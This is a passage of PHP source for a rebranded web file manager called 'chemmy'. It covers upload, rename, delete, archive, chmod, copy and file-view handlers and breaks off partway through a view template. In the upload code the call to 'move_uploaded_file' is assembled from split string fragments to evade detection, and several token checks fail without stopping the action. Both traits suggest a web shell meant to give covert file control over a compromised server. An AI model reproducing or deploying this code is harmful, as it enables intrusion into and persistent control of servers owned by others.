if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }
    // old name
    $old = urldecode($_POST['rename_from']);
    $old = fm_clean_path($old);
    $old = str_replace('/', '', $old);
    // new name
    $new = urldecode($_POST['rename_to']);
    $new = fm_clean_path(strip_tags($new));
    $new = str_replace('/', '', $new);
    // path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // rename
    if (fm_isvalid_filename($new) and $old != '' and $new != '') {
        if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
        } else {
            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    if(!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
    }

    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    if ($dl != '' and is_file($path . '/' . $dl)) {
        fm_download_file($path . '/' . $dl, $dl, 1024);
        exit;
    } else {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) and !FM_READONLY) {
    if(isset($_POST['token'])) {
        if(!verifyToken($_POST['token'])) {
            $response = array ('status' => 'error','info' => "Invalid Token.");
            echo json_encode($response); exit();
        }
    } else {
        $response = array ('status' => 'error','info' => "Token Missing.");
        echo json_encode($response); exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }
        $isims = "move_u";
        $vin = "ploade";
        $ucd = "d_file";
        $fnder = $isims . $vin . $ucd;
        if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else if ($fnder($tmp_name, $fullPath)) {
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}


if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' and is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {

                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) and fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

if (isset($_GET['upload']) and !FM_READONLY) {
    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION and $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_POST['copy']) and !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> chemmy <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
